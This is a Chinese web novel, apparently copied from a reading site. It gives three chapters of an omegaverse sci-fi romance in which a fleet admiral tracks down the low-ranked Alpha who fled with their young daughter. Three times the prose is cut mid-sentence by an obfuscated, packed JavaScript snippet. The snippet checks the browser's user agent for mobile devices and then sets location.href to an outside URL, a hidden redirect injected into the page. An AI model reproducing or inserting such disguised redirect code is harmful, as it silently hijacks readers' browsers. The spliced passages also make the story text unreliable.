《顶级Omega的追A火葬场》 1. 第 1 章 组装机甲臂的流水线上,几名工程师正在有序的操作着机器。 宋青佩放下手中组装好的机甲零件,顺耳听了一嘴,旁边的两个机甲工程师正聊得兴起。 “听说了吗?N8航道的星际海盗被消灭了。” “真的吗?那咱们N69号星作为航道的补给站,岂不是要发达了。” 两人的话题立刻引起的旁边人的兴趣,忙不迭的参与其中,兴致勃勃道:“我听说,这次消灭星际海盗,是明毓上将亲自扮成路过的貌美商人,引出了好色的海盗首领,才将他们一网打尽的。” “明毓上将不愧被称为星盟玫瑰,真让人好奇到底长什么样子。” “是啊,得是信息素多强大的Alpha,才能标记明毓上将如此优秀的Omega啊!” 听到关于标记Omega的话题,宋青佩这个Alpha却没了什么兴趣,和别的Alpha旺盛的信息素不同,她在检测中被标记为了劣等A,信息素过于平淡,难被调动起激情。 除了...... 脑海中不由闪过一抹窈窕的倩影,两人肌肤相接时她的信息素第一次如此活跃,而分开后,她的信息素就仿佛死了般,再次归于沉寂。 两年了,想到那人,一切还仿佛做梦般。 那时她还在垃圾星流浪,阴差阳错救了一个爆发热感期的Omega,美人热情主动,眼角眉梢皆是媚色,两人春风一度。 事后美人醒来,竟对过往一无所知,她只得将人养了起来,两人日久生情,她白得了一个漂亮老婆,还生了一个可爱的女儿。 对于从小是孤儿,一直在星际流浪的宋青佩来说终于有了家,这段日子简直是她人生中最快乐的时光,她拼了命的对老婆和女儿,只想一家人过这种温馨且平淡的生活。 可没想到老婆突然恢复了记忆,看向她的视线仿佛雪山飞霜,曾经红艳诱人的唇,一句句吐着伤人的话: “宋青佩,你不配标记我,更不配让我生下女儿,这事就当没发生过。她会给你留下一笔足够多的钱,带着女儿离开,别再继续纠缠,不然别怪我不客气。” 想到自己盼望许久的家就这样破碎,还要和刚刚咿呀学语的女儿分开,宋青佩心如刀割。不行,老婆不要她可以,但是她不能和女儿分开。 她一咬牙,只当老婆死了,带着女儿溜了。 一眨眼都两年了,不知道…… 宋青佩不由摇了摇头,算了,人家都不要她了,她还没出息的胡思乱想什么。 回过神,宋青佩抬头长吸了一口气,正好见组长兴高采烈的进来:“告诉大家一个好消息,N8航道刚刚通航,咱们就接了个大的机甲单子。老板高兴,大家今天提前下班,出去聚餐庆祝一下。” 大家顿时欢呼雀跃起来:"好!!!" "走!走!走!" 众人大步走出厂房门外,身后是兴奋不已的同事,以及一脸意外的宋青佩。 "太好了,正好不用请假了。" 宋青佩松了口气,她好不容易才找到这个工作,正怕老是请假被辞退,可是女儿每周都会提前放学又不能不接,这下巧了。 等众人都出去,她过去跟组长说了一声,有事不能去参加聚餐了,组长人挺好,很爽快的答应了。 宋青佩走出机甲组装间,到休息间换下了自己的工作服,穿上黑色风衣,带上一顶帽子和墨镜,戴上了口罩,遮掩住脸上的大部分面部特征,然后大步向机甲基地外走去。 走向停车区,她通过面部识别解锁了车子,开启智能驾驶,去了女儿的幼儿园。 今天是女儿宋颂的生日,小家伙一直念叨着,想要她第一个去接她,想到自己对女儿的亏欠,宋青佩尽量满足她小小的愿望。 将车停在幼儿园外,宋青佩从副驾驶位置拿出礼物,迈步下了车,她站在出口处,好让女儿出来第一个就能看到她。 没一会,小家伙的身影出现在视野里,她欢喜的跑了出来。 小女孩长得十分漂亮,五官精致,皮肤白嫩嫩的,看上去十分可爱。 "妈妈!” 她甜甜的叫了一声,一下子扑入宋青佩怀中,“今天真的第一个来接颂颂的!妈妈好厉害!" "嗯,今天有没有乖?"宋青佩摸了摸小姑娘的脑袋。 小姑娘点点头,"今天颂颂有乖乖听话呢。" "颂颂,来看妈妈给你买的生日礼物。"宋青佩牵着女儿的手,将礼物递过去。 颂颂眼睛一亮,迫不及待的打开盒子。 "哇!"惊叹一声,"妈妈,好漂亮啊。" 她将盒子举高,里面是一套崭新的机甲模型,造型独特,外形华丽,一看就是专门定制的,显然十分用心。 "颂颂喜欢吗?"宋青佩笑眯眯的问。 颂颂重重的点头,一把抱紧她:"颂颂好喜欢,谢谢妈妈!" "喜欢就好。"宋青佩柔声说:“走,妈妈带你去玩,再买个生日蛋糕好不好?” 颂颂欢欣鼓舞,"好哦,谢谢妈妈。" 走到车边,宋青佩正要抱着女儿上车,突然感觉背后一阵阴冷,似乎有人在注视着自己。 宋青佩警惕的回过头去。 只见从一辆黑色装甲车上,下来了四五个陌生男人,一个个身材魁梧,皮肤黝黑,眼神阴郁凶狠,看起来不像好人。 宋青佩一直都习惯了低调,赶紧警惕的带着女儿离开了。 -- 夜幕降临。 繁华的街景灯火阑珊。 城市之中,一座座豪华的建筑拔地而起,一片繁荣昌盛。 宋青佩带着女儿吃过饭后,沿着街道慢慢走着,小丫头兴奋的叽叽喳喳,一路不停说着她在幼儿园好玩的事情。 她微微扬了扬唇角,看着女儿活泼的模样,心情也变得愉悦起来。 "妈妈,快看!那个姨姨好漂亮!" 忽然,颂颂扯了扯宋青佩的袖子,仰头指着前方一处高楼的投影,大声嚷嚷着。 宋青佩抬眸看去,只见灯火通明,一块巨幕悬浮在空中。 此时正播放着联盟第七舰队围剿星际海盗的画面,是一艘黑色战舰被击毁,溅落的火花照射在荧屏上,形成各种绚烂多彩的图案。 这艘战舰,正是海盗最引以为傲的科技型战舰"飞龙",配备了超高速导弹、雷达探测系统、侦查卫星等。 宏大的画面配合着解说员慷慨激昂的声音: “面对如此凶残的星际海盗,明毓上将率领的第七舰队英勇奋战,海盗们被打的毫无还手之力,仓惶逃窜。" "据悉,在星际海盗最后撤退的途中,明毓上将率领舰队追击至最后一艘星舰,一举将他们击杀,全歼。" “N8星际航道断航二十六年来,再次通航,离不开明毓上将的英勇奋战。” "好厉害......" 小姑娘一脸崇拜。 宋青佩笑了笑,正想说话,只见画面一闪,战斗画面戛然而止,缓缓露出了一个女人精致的脸。 她一身烫金的上将军服,明艳如画,眉眼却冷的如高山晶莹雪,背景中是她的赫赫战功,与她的美貌形成了鲜明的反差。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921479|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋青佩目瞪口呆的看着屏幕上的女人,脑中轰然作响。 ......居然是她! 她的身份竟然是第七舰队的上将! 怎么可能? 宋青佩只觉得心脏狂跳,当初救的失忆老婆,给她生下女儿的人,竟......竟是如此大人物。 她知道女人身份高贵,不然不会在恢复记忆后对她如此嫌弃,变得冷若冰霜,可她没想到,明毓的身份竟然如此优秀,令她自惭形秽。 想到自己这些年一直东躲西藏,就是怕被明毓找到将女儿带走,如今怕是...... 宋青佩不由一阵后怕,看来这里也待不下去了,还是趁早带着女儿离开吧。 她暗自思忖着。 "妈妈......妈妈你怎么了?" 颂颂轻轻推了推她的胳膊,小嘴嘟着,不明所以。 宋青佩怔愣了半晌,才勉强回过神,心情无比复杂的将女儿抱在怀中。 "没事,颂颂,我们回家吧。" 一路上,宋青佩尽量温柔的做着女儿的思想工作,试图让她接受即将离开熟悉的生活环境这件事。 “妈妈,我们为什么要走?" 她歪着小脑袋,一张粉雕玉琢的小脸上写满了疑惑。 宋青佩顿时语塞,只能摸着她软软的头发,耐心的安慰着,希望女儿能够理解她这个做妈妈的苦衷 颂颂见妈妈脸色不好,懂事的答应了,乖巧的靠在妈妈肩膀上。 到了家,宋青佩抱着女儿下了车,进了电梯,盘算着回家就收拾东西赶紧走,决不能让那个女人找到她。 “叮——” 电梯缓缓打开,几个高大的黑衣人正守在电梯门口,目光锐利的扫视着周遭的一切。 宋青佩心头猛然一震。 她抱着女儿,不动声色向旁边移了移,摁下关门键准备离开。 "站住!" 一道威严的声音传来,挡住了关闭的电梯门。 宋青佩脚步一顿,深吸了一口气,强自镇定下来。 "你们是谁?我不认识你们!请让开!" 为首的一个人黑衣人上前,声音恭敬却不容拒绝,“宋小姐,请跟我们走一趟。” 宋青佩将宋颂挡在身后,警惕的盯着他们,"你们是不是认错人了?我不认识你们。" "对不起,宋小姐。我们是奉命行事,还请您配合。"黑衣人态度坚决的说道。 怎么办?怎么办? 宋青佩脑中飞速运转,努力寻找应对之策。 但是在绝对的实力之下,她根本没有任何招架之力,只得被半强迫的请出了电梯,绝望的抱着女儿往自己家门走去。 门外,依旧站着几名保镖,一看见宋青佩,立刻上前为她打开了门。 宋青佩心头一沉,抱紧了女儿,一脸戒备。 为首的黑衣人上前一步,"宋小姐,请吧。" 她只好硬着头皮跟着对方走了过去。 屋子里没开灯,隐约可见一个身材高挑的背影站在客厅的的窗户前,低头看着窗外,浓重的夜色将她的侧脸完全笼罩,只看见一双修长纤细的腿,以及笔直的长靴。 “妈妈,为什么不开灯啊!” 茫然的颂颂睁着大大的圆圆的眼睛,不安的叫着。 宋青佩连忙安抚:"颂颂乖哦,马上就开灯……" 啪的一声,声控灯亮起。 只见女人缓缓转过身,精致的容颜显露无遗,身上却透着一股淡淡的冷意。 "宋青佩,好久不见。" 2. 第 2 章 明毓! 宋青佩瞳孔瞬间睁大,片刻后,又慢慢冷静下来。反而有一种果然如此的释然,以明毓的实力,总会找到她的,不过是早晚罢了。 但不管如何,女儿是她在这个世界上唯一的亲人,她绝不会让明毓将人带走的。 她上前一步,警惕的打量着眼前两年不见的故人。 明毓美貌依旧,乌黑柔顺的长发被随意挽起,露出纤细修长的脖颈和白皙的锁骨,优雅矜贵,脸上带着淡淡却疏离的笑,一如恢复记忆后的冷漠。 她老婆两年前已经死了,不要再痴心妄想了。 宋青佩心底升起的浓烈伤感,在明毓的冷漠中渐渐消失,明知故问的试探:"明毓上将,你想干什么?" 明毓却连一个眼神都没给她,视线精致掠过宋青佩,落在颂颂的小脸上,细细的端详着,平静淡漠的脸色出现了片刻失态。 许久,她半蹲下身体,朝着女儿张开双臂,“颂颂,过来让我看看。” 颂颂仰头看向明毓,乌溜溜的眸子里写满疑惑,但是并不害怕,这个漂亮姨姨好像她之前在屏幕上看到的人。 她不由上前一步,好奇道:“姨姨,我见过你。你是妈妈的朋友吗?” 对于姨姨这个称呼,明毓脸色有明显的不悦,狠狠地看向拐走女儿的宋青佩,眼神中满是杀意。 但她不想第一次见面就吓到女儿,只得压抑着喷薄的怒气,努力做出一副温柔的模样,柔声道:“颂颂,我是你妈咪。” “妈咪?” 颂颂愣了愣,不解的看向旁边一脸紧张的宋青佩,趴在她耳边小声问:“妈妈,你不是妈咪死了吗?” 宋青佩:...... 当初因为小家伙老是哭着找妈咪,她对于抛弃自己的老婆也确实有些怨气,于是就随后说了句你妈咪上天堂了,没想到会被当着明毓这个‘死者’的面直白地说出来。 果然,明毓的脸色顿时冷了下来,凛若冰霜的瞪向宋青佩。 宋青佩厚着脸皮,只当没看见,反正说都说了。 而旁边的小姑娘仿佛没有觉察到两人剑拔弩张的气氛,小嘴还在蛐蛐个不停,“妈妈,你说话呀。这个漂亮姨姨不会是骗子吧?她是不是要把我拐走卖掉啊?” 明毓忍无可忍,厉声道:"宋.青.佩。” ”叫这么大声干嘛!显得你声音大啊。”宋青佩低声嘟囔:"女儿老是哭着找妈咪,我只能这么说了。" 明毓气的冷静不再,指着宋青佩怒声道:"所以你就跟女儿说我死了。" 多少还是有点心虚,宋青佩拉过宋颂,低声哄道:"颂颂,她说的是真的,她的是你妈咪。" 她妈咪没死,这个厉害的姨姨是她的妈咪,她不是没有妈咪的可怜小孩。 颂颂眨巴着大眼睛,看看宋青佩又看看明毓,带着天真地疑惑,“你真的是我妈咪?那你为什么不要我和妈妈了?” 这话问的明毓一窒,心中的火气瞬间消失殆尽。 她没办法和孩子解释大人之间的事,当初她围剿叛军的时候机甲不幸坠落,正值发热期来临,阴差阳错的和宋清佩这个劣等A发生了关系,还有了个女儿。 宋青佩不配标记她,更不配让她生下孩子,当她恢复记忆后,第一时间便是抹除这段屈辱的过去。可她没想到,宋青佩居然胆大包天地带着女儿跑了。 可时隔两年,女儿早就对她生疏,她若是直接采用强制手段将女儿带走,女儿会不会抱怨她,一时之间,一贯杀伐果断的上将大人也不由陷入了犹豫中。 都怪宋青佩这个卑鄙的劣等A,她绝不会轻饶了她。 可惜她现在不能在女儿面前和宋青佩撕破脸,明毓掩下自己内心的杀意,走到女儿面前,耐心的解释道:“颂颂,妈咪没有丢下你,妈咪是...是去......” “妈咪是去围剿海盗了,去保护更多的人。” 一旁的宋青佩忽然接口,笑眯眯的哄道:“颂颂,你刚才不是在大屏幕上看到妈咪去打海盗了吗?还说妈咪又漂亮又厉害,是大英雄。” 没想到宋青佩居然会帮自己撒谎,明毓神色古怪的看了过去。 宋青佩一直关注着女儿,所以并没有注意到她的视线。 “对奥,我看到了。” 颂颂眼睛一下亮了起来,忽然想起宋青佩送的机甲,立刻掏出来凑到明毓面前,兴冲冲的比划着:“妈咪是不是开着这样,高高的,大大的机甲去打海盗的,妈咪好厉害!颂颂以后也要开机甲去打海盗。” 听到''妈咪''两个字从女儿嘴里说出,情感极少外露的明毓一阵酸涩。 她笨拙的拍了拍女儿的肩膀,神色认真的保证道:“好,妈咪答应你,以后带你去开真的机甲好不好?” “好哦。” 颂颂兴奋的蹦了蹦,朝着明毓伸出手,“拉钩。” 明毓神色有片刻茫然,她并不知道拉钩是什么? 宋青佩见状,默默地伸出小指勾了颂颂一下,沉默的做了个示范,明毓神色变了变,还是跟着做了一遍。 “还要盖个章。”颂颂一边用大拇指盖章,一边念叨,“拉钩上吊,一百年不许变。” 跟着做这些幼稚的动作吗,明毓冷淡的脸不由带了些笑意。 颂颂提醒她,“妈咪,你还没说呢。” 明毓无奈的小声附和了一句,“拉钩上吊,一百年不许变。” 看着眼前其乐融融的画面,宋青佩不由心底一疼。 眼前这样就是她渴望的家,可惜恢复记忆的明毓根本就看不上她,两人注定要因为女儿的抚养权争斗,可她更不忍让大人间的龌龊伤害到女儿。 她放缓语调哄道:"颂颂,妈妈有话要跟妈咪说,你先去自己房间玩一会好不好?" 颂颂歪着脑袋笑了想,最终点点头,乖巧道:"好,颂颂等妈妈。" 宋青佩松了口气,牵着颂颂的手朝儿童房走去,走到门口,颂颂转过头看了明毓一眼,停下脚步,转头小声问:“妈咪,你一会又要走了吗?” 明毓一怔,脱口而出,“颂颂不希望妈咪走吗?” 颂颂摇头,她嘟了嘟小嘴,认真道:"颂颂想要妈咪。" “那颂颂跟妈咪走好吗?”明毓趁机试探道。 “好啊!”颂颂欢快的笑着,转头对宋青佩道:“妈妈,你刚才说回家收拾东西,是要带我去找妈咪吗?” 察觉到明毓锋锐的视线,宋青佩真是有苦难言。 这个小棉袄真是处处漏风,宋青佩脚步微顿,赶紧将女儿推进了房间。 “好了,颂颂你先自己玩会,等我们聊完,就去陪你玩。” 宋青佩长吸一口气,在心里默默给自己打气,才转过身面对曾经的老婆,如今高高在上的帝国上将。 门已经被关上了,门外是荷枪实弹的士兵。 明毓已经转身坐在沙发上,双腿交叠,脊背停止,一手搭在膝盖上,一手轻轻敲击着手背,一派闲适。 宋青佩看到她这动作心里更加没底了,她咬牙走过去,强迫自己镇定下来。 她还没来得及开口说什么,明毓却突然出声,“宋青佩,刚才为什么帮我说话?” “我只是不想让颂颂认为,她被抛弃了。” 明毓嗤笑,“所以你跟她说我死了。” “......”宋青佩噎了一下,狡辩,“死了跟抛弃不一样。” "有什么不一样?" “被抛弃了她会很难过,会觉得是不是自己不好,不值得爱。死了......是不可抗力,她只是会难过,并不是妈妈不要她了。” 宋青佩说着神色慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921480|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢黯淡下来。 明毓抬眼看了她一眼,眼神清冽,仿佛能够洞悉她的内心。 说出的话更是扎心,“听说你是孤儿,你就是这么自我安慰的吗?” 没想到她竟会如此恶劣的戳自己的伤疤,宋青佩不由变了脸色,失望又愤然道:“我是真心想跟你好好谈谈女儿的问题,你非要说话这么难听吗?” 明毓讥讽道:"宋青佩,你偷走了我女儿,还想让我说什么好听的话?" 闻言,宋青佩呼吸都不顺畅了,辩解:“颂颂也是我的女儿。” “她是我生的,你有什么资格将她带走。” 明毓从沙发上站起身,冷眸中暗潮汹涌,一字一句道:“根据联盟婚姻法规定,孩子未满五周岁,优先由生育的Omega抚养。宋青佩,与我争夺抚养权,你认为自己有几分胜算?” 这句话,让宋青佩脸上血色褪尽。 她的心脏噗通噗通狂跳起来,一股巨大的恐惧涌上心头,明毓还是要将女儿从她身边带走,而她这次根本就无力阻止。 她的嘴唇哆嗦着,好一会儿才挤出一句话来:"当年是你非要和我彻底划清界限,我没办法才带女儿逃走的,你不能不讲道理。” "哼。"明毓嗤笑一声,眼中带着几分嘲弄,"最后抢走女儿的谁?让我和女儿分别两年的人是谁?怎么?现在知道讲道理了?" "我,我......" 她想说,她了解明毓,如果女儿被明毓带走,她这辈子不可能再和女儿有交集,明毓绝对会切断她和女儿的所有的联系。 可她又怕这话激怒了明毓,对后面的谈判不利,只能强压着内心的愤怒。 明毓看着她,眼底满是不屑,"宋青佩,识相点,把女儿还给我,你想要什么我都可以满足你。" “不可能。”宋青佩断然拒绝道:“颂颂是我这世上唯一的亲人了,我不能放弃她。” 闻言,明毓忽然笑了。 宋青佩看着她笑,心里越发发毛。 明毓笑得极美,不紧不慢道:“宋青佩,你有什么资格和我讲条件?” 越是谈判的时候,越是不能被对方拿捏。 宋青佩稳住心神,冷静道:“就凭我和女儿两年的感情,女儿离不开我,她不会乖乖跟你走的。” 这正是明毓担心的,她一下子就被拿捏住了七寸。 宋青佩看准时机,继续游说:"我们大人之间的恩怨不要牵扯到孩子,我知道你怨我当初将女儿偷偷带走。但是换作是你,你恐怕会做地更绝,带走女儿绝不会让我再见一面,而我想去找你更是难如登天,不是吗?” 明毓冷哼一声,显然默认了她的说法。 宋青佩继续劝导道:"颂颂是我们俩的女儿,我们肯定都希望她能开心。不如我们暂时冰释前嫌,颂颂还是养在我身边,你随时都可以来看她。” "宋青佩,你可真敢说。"明毓气的冷笑连连。 "那你想怎么样?只要你答应让我陪在女儿身边,我都可以答应你。" "条件?"明毓眯起凤眸,眼底掠过一丝诡谲的光芒,"宋青佩,既然你用陪了女儿两年的感情当筹码,那我就成全你,给你一个公平的机会。跟我一起回澜星,让我也和女儿相处两年,两年后,让女儿自行选择跟谁,怎么样?" 没想到明毓居然会说出这个方案,宋青佩不由愣住了,怀疑这里面是不是有什么阴谋? 见她神色变来变去,明毓不耐的追问,"告诉我,你的选择。" 事已至此,她其实已经没了什么选择的机会,万一激怒明毓,她完全可以强行将女儿带走,这已经是相对平和,对女儿伤害最小的方案。 宋青佩抿了抿唇,咬牙道:"好,我答应你。" 两年为期,让女儿自己选择跟谁生活。 3. 第 3 章 颂颂小朋友很聪明,她一直躲在门前偷偷地听着外面的动静。 妈妈和妈咪会说什么呢? 可惜隔着门声音太小了,她听不清楚,只能隐隐约约听到两人一直在说''女儿'',而且妈妈的声音很大,不是和她说话时温温柔柔的。 而且那个漂亮姨姨……不对,是新妈咪,听上去凶凶的,怪吓人。 难不成她们吵架了? 还提到''女儿'',不就是自己嘛,难道因为她吵架了? 颂颂一下就紧张了起来,偷偷地将门开了个缝,鬼鬼祟祟的探出小脑袋,想要听得更清楚些。 再凑近一点,可怎么还是听不清啊? 颂颂急了,将门缝开得更大了一些,小脑袋又往外探了探。 一个不小心,身子没站稳,小短腿被绊了一下。 吧唧! 她以一个倒栽葱的姿势,一下从门里滚了出来。 “哇” 颂颂吓得发出一声奶呼呼的尖叫,圆润地趴在了地上。 这边听到叫声,两人几乎同时扑了过去。 还是明毓更敏捷一些,先一步将颂颂从地上扶了起来,仔细打量一番:“颂颂,没事吧?” 呜呜~好丢人。 颂颂有些不好意思地低下头,闷闷地小声说:“没事啦。” 看出她不好意思了,宋青佩故意逗她:“颂颂这是怎么了,在练翻跟头吗?” 颂颂红了小脸,“妈妈,讨厌啦” 因为这个小插曲,两人间紧张的气氛刚好被打破,暂时达成了平衡。 看两人不说话,好像很不熟的样子,颂颂不解地眨了眨眼睛。 好怪哦,为什么妈妈和妈咪一点也不像她在电视看到的那样,不是应该要亲亲抱抱激动地抱起来哭吗? 颂颂小心地看看新妈咪,刚才有点凶凶的哦,怕怕,还是问问妈妈吧。 于是她向宋青佩发出认真的疑问,“妈妈,刚才你和妈咪吵架了吗?” 宋青佩一愣,以为两人刚才的争吵被颂颂听到了,赶忙解释道:“颂颂,我们刚才只是说话声音大了点,并没有吵架。”说完,她还习惯性地给了明毓一个眼神。 给完,她就后悔了,恢复记忆的明毓可不会再配合她演戏。 可没想到,明毓居然真的配合了一句,“颂颂别怕,我们没有吵架。” 于是小家伙更不解了,歪着头喃喃自语,“好奇怪,没吵架哦,那妈妈和妈咪为什么都不亲亲抱抱?妈咪还要趴在妈妈怀里哭着说,呜呜~我好想你。妈妈抱着妈咪说,宝贝别哭了,我也好想你,然后亲亲……" 在明毓越来越难看的神色中,宋青佩赶紧捂住了她叭叭个不停的嘴巴。 颂颂睁大了眼睛:“呜呜呜” 宋青佩一脸尴尬,还得耐心解释:“颂颂,那些都是电视上演的,不可以当真的。不准再乱说了,知道吗?” 明毓拍开捂着颂颂的手,冷冷地扫了她一眼,“你都在给颂颂看些什么不健康的东西,这三年你就是这么教育她的?” 宋青佩:...... 不就是一些狗血古装电视剧,至于这么上纲上线嘛! 宋青佩一阵无语,明毓对于她这副不当回事的态度十分不满,神色冷然道:“宋青佩,你自己不求上进我不管,但是颂颂回去肯定要接受精英培养,请以后不要再插手颂颂的教育问题。”话里的嫌弃毫不遮掩。 宋青佩知道明毓恢复记忆后就看不起自己,但这不代表她就可以接受对方高高在上的指责,她皱眉反驳道:“我承认,你确实比我优秀得多,但这并不代表我就要无条件接受……” “宋青佩,你没有资格跟我讲条件。” 明毓近乎无情地嘲讽道:“弱者的辩解,都不过是在为自己的无能找借口。” 这话实在伤人,宋青佩被她气得口不择言:“呵~做人还是不要太刻薄,强如明毓上将你,不也有流落垃圾星,狼狈不堪的时候……” 明毓近乎从齿缝间挤出两个字:“闭嘴!” 垃圾星是她一生耻辱,不可被提起的逆鳞。 尤其是每每想到,自己像个浪荡的妓子般向一个劣等Alpha卑微求欢,甚至在对方身下哭泣,求饶,沉沦,她便恨得目眦欲裂。 这个劣等Alpha毁掉了她所有的骄傲,而她现在,还敢在自己面前大放厥词,这是对她的公然侮辱。 总有一天,她要她为今日种种付出惨痛的代价。 明毓眼底闪烁着阴冷的锋芒,宋青佩能清楚地感觉到她的杀意,一如曾经恢复记忆时那般强烈。 哪怕时隔这么久,她的心还是忍不住因此感到一阵阵的痛楚,仿佛那些痛苦都深藏在她心底最柔软的地方,不知何时就会被挖掘出来,让她痛彻心扉。 不由自主地,她的手不受控制地抓住了衣摆,指节泛白,用尽全力攥成拳头,似乎是在压抑自己内心的情绪。 宋青佩的异常,明毓并未察觉,只以为她害怕了。 她冷笑着,一字一顿,仿佛从牙缝中蹦出一个个字符:"宋青佩,我最后再警告你一次,别挑衅我。" 两人对峙中,从惊恐中回过神来的颂颂,一双乌溜溜的黑眼珠滴溜溜转,小心翼翼的瞄了瞄两人,大大的眼睛里已经涌上了泪水。 妈咪好凶,她们俩在干什么呀? 她小心翼翼地拉了拉明毓,怯怯地抬头望着她,带着哭腔说:"妈咪,不要吵架好不好?" 明毓心里的怒火并未消退,但碍于女儿还是个小孩子,她忍下心里的不快,暗含警告地扫向宋青佩。 一瞬间,宋青佩突然有点后悔说出那番话了,她不应该惹明毓的。 毕竟,在明毓恢复记忆的那一刻,她爱的,也爱他老婆已经死了。现在她是高高在上的帝国上将,被劣等Alpha标记是她的耻辱,若不是两人有了女儿这个牵绊,或许当初明毓会杀了她也说不定。 她早就应该接受现实的,如今她唯一的希望只是女儿能健康快乐地长大。 看见颂颂小小的委屈模样,宋青佩一阵心疼,赶紧弯腰把她抱起来,温声哄慰:"好,妈妈和妈咪不会再吵架,宝贝,不要哭了,好不好?" 颂颂抽噎了一下,乖巧地点点头:"嗯!颂颂乖,不要吵架。" 见她止住了哭声,宋青佩长舒一口气,眸底的强烈情绪早已慢慢归于沉寂,平静地看向明毓,“对不起……我不会再提之前的任何事,只是关于颂颂的教育问题,我希望你不要太过激了。颂颂现在才三岁,她需要一段适应期,不能一蹴而就。" 明毓淡漠地看了她一眼:"你还没有资格教我怎么做。” 她再理会宋青佩,俯身朝颂颂伸出手,放柔了声音道:“颂颂,妈咪带你去做机甲好不好?” 像小蘑菇一样怯怯缩着脑袋的颂颂,在听到''机甲''二字时,立即又变得活跃起来,小脑袋拼命点着:"好啊,好啊,......"说到一半,她才想起来问宋青佩,”妈妈,颂颂可以跟妈咪一起去做机甲吗?“ 她能说不吗?宋青佩无奈点头。 "那我们走吧。"明毓抱起颂颂,朝门口走去。 门外,七八个荷枪实弹的高大威严士兵正严阵以待。 "上将。"几个士兵恭敬地行礼。 看到明毓怀里的孩子,面色古怪地对视了一眼,默契的都没敢开口询问。 明毓面无表情:"回星舰。" "是。" 众人答道,跟随在她身侧。 明毓抱着颂颂,步履平稳,但步伐急促,似乎迫不及待地离开这个让她厌恶的地方。 完全被无视的宋青佩,甚至连收拾一下行李的时间都没有,只能忙不迭地追上了电梯,再晚一步,她怀疑明毓会求之不得地将她甩在这儿。 一行人先是乘军车到了位于N69号星的军事基地,然后登上了隶属于第七舰队的‘飞云’号星舰,驶入星际。 这是一艘最先进的A级战斗型母舰,拥有强大的防御系统,以及高科技武器,可以容纳下五百架机甲,各种配备齐全,是明毓亲手打造的星际超一流星际战舰。 当宋青佩看见那庞然大物时,震撼得无以复加。 而明毓很忙,登上星舰后就安排了身边的林中尉带宋青佩母女去休息,她则是换上了军制服去和星舰高层会晤。 军事会议一直持续到凌晨两点,众人散去,明毓疲惫地揉了揉胀痛的额角,起身往外走。 刚走出会议室,站在门外等候的林中尉,上前汇报:"上将,我已经将宋小姐母女安排在了您的私人休息舱里……“ 明毓微眯眼眸,"什么?" 颂颂自然是住在她的休息舱内,至于那个女人…… 不配。 察觉到明毓强烈的不悦,林中尉冷汗涔涔,赶紧改口:"我不该擅作主张安排她们住在休息舱,那我立刻让人给她们换个……" 明毓的唇线微抿,想到女儿对宋青佩的依赖,沉默了一瞬,冷声道:"算了,先让她住着吧。" 林中尉松了口气,忙不迭地点头:"是!" “林中尉,你去休息吧!”明毓挥了挥手。 "是,上将。" 林中尉行了个礼,转身快速离开了。 明毓穿过回廊,径直回到自己的休息舱,舱内十分宽敞,由两个卧室,一个书房,一厨一卫一厅组成,风格简约而不失大气。 她脱掉外套,放置在一旁,神色警惕地打量着四周,她不喜欢私人领地被侵占。 那个女人还算有自知之明,自觉地睡到了侧卧,明毓皱眉进了自己的卧室,站在窗边,遥望远处星光璀璨的夜空。 一抹星光闪耀,仿佛在向她示好,可她的内心,却慢慢地升腾起了隐隐的不安感。 距离她的发热期还有三天,可被完全标记过的身体早就堕落了,所谓''食髓知味'',她已经离不开那种滋味了…… 这两年来,她一直靠着抑制剂压抑身体的强烈渴望,可是随着抑制剂的剂量越来越大,效果反而越来越差。甚至就连医生都不止一次地提醒过她,物极必反,她再这样压抑下去,迟早会爆发,到时候,只会变得更糟糕。 发热期越来越提前,她不知道自己还能坚持多久,可她绝不能接受向那个劣等Alpha求欢,被她压在身下,像个低贱的女奴一般沦陷肮脏的欲望中。 明毓的指尖无意识地在玻璃上轻轻划过,眼神逐渐晦暗。 不知是否想到那些下流的东西刺激到了信息素,她身体忽然涌动起一股莫名的燥热,让她忍不住低喘起来,明毓本能地解开了自己胸前的扣子,试图降低身体的温度。 可是于事无补,被撩起的信息素慢慢扩散开来,很快就让她的体温急速上升,仿佛蚂蚁啃咬的感觉让她几乎无法自控,发出一声隐忍的闷哼。 她低咒一句,不由自主地握紧双拳,指尖嵌入掌心的皮肤,刺痛让她清醒了几分,明毓深呼吸,调整了一下心态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921481|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这才起身去拿抑制剂。 这次的发热期似乎比平时来得更加汹涌,明毓拿抑制剂的手都在发抖。 她自虐般狠狠地扯开自己的衬衫,因为力度太大两颗扣子应声而落,她毫不犹豫地将抑制剂注射进肩膀,等着体内的躁意慢慢退去。 